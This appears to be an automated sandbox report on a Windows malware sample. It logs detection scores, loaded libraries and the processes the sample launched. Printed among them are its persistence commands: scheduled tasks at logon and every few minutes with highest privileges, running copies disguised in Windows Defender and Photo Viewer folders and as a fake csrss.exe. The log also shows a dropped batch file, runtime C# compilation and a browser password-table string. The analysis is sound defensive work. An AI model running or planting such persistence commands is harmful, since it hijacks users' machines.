Source: C:\Users\user\Desktop\Gg6wivFINd.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Users\user\Desktop\Gg6wivFINd.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Gg6wivFINd.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: R0mjFoWFnV.26.dr, YU6cfen15o.26.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Gg6wivFINd.exe	ReversingLabs: Detection: 73%
Source: Gg6wivFINd.exe	Virustotal: Detection: 55%

Source: C:\Users\user\Desktop\Gg6wivFINd.exe

File read: C:\Users\user\Desktop\Gg6wivFINd.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Gg6wivFINd.exe "C:\Users\user\Desktop\Gg6wivFINd.exe"
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe'" /f
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SKldWJijnIiMahBoQJBr" /sc ONLOGON /tr "'C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7B7D.tmp" "c:\Windows\System32\CSCF36723D4EAA14E7A90D51663AB383B81.TMP"
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 9 /tr "'C:\Users\All Users\Microsoft\User Account Pictures\SKldWJijnIiMahBoQJBr.exe'" /f
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SKldWJijnIiMahBoQJBr" /sc ONLOGON /tr "'C:\Users\All Users\Microsoft\User Account Pictures\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 9 /tr "'C:\Users\All Users\Microsoft\User Account Pictures\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 8 /tr "'C:\Program Files\Uninstall Information\SKldWJijnIiMahBoQJBr.exe'" /f
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SKldWJijnIiMahBoQJBr" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 9 /tr "'C:\Program Files\Uninstall Information\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\Users\All Users\ssh\csrss.exe'" /f
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\All Users\ssh\csrss.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Users\All Users\ssh\csrss.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe'" /f
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SKldWJijnIiMahBoQJBr" /sc ONLOGON /tr "'C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "Gg6wivFINdG" /sc MINUTE /mo 11 /tr "'C:\Users\user\Desktop\Gg6wivFINd.exe'" /f
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "Gg6wivFINd" /sc ONLOGON /tr "'C:\Users\user\Desktop\Gg6wivFINd.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "Gg6wivFINdG" /sc MINUTE /mo 6 /tr "'C:\Users\user\Desktop\Gg6wivFINd.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\fWX3gCrjSV.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\ssh\csrss.exe "C:\Users\All Users\ssh\csrss.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: unknown	Process created: C:\ProgramData\ssh\csrss.exe "C:\Users\All Users\ssh\csrss.exe"
Source: unknown	Process created: C:\Users\user\Desktop\Gg6wivFINd.exe C:\Users\user\Desktop\Gg6wivFINd.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: unknown	Process created: C:\Users\user\Desktop\Gg6wivFINd.exe C:\Users\user\Desktop\Gg6wivFINd.exe
Source: unknown	Process created: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe "C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe"
Source: unknown	Process created: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe "C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\Gg6wivFINd.exe "C:\Users\user\Desktop\Gg6wivFINd.exe"
Source: unknown	Process created: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe "C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe"
Source: unknown	Process created: C:\ProgramData\ssh\csrss.exe "C:\Users\All Users\ssh\csrss.exe"
Source: unknown	Process created: C:\Users\user\Desktop\Gg6wivFINd.exe "C:\Users\user\Desktop\Gg6wivFINd.exe"
Source: unknown	Process created: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe "C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe"
Source: unknown	Process created: C:\ProgramData\ssh\csrss.exe "C:\Users\All Users\ssh\csrss.exe"
Source: unknown	Process created: C:\Users\user\Desktop\Gg6wivFINd.exe "C:\Users\user\Desktop\Gg6wivFINd.exe"
Source: unknown	Process created: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe "C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe"
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.cmdline"	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\fWX3gCrjSV.bat"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7B7D.tmp" "c:\Windows\System32\CSCF36723D4EAA14E7A90D51663AB383B81.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\Gg6wivFINd.exe "C:\Users\user\Desktop\Gg6wivFINd.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: ntmarta.dll	Jump to behavior
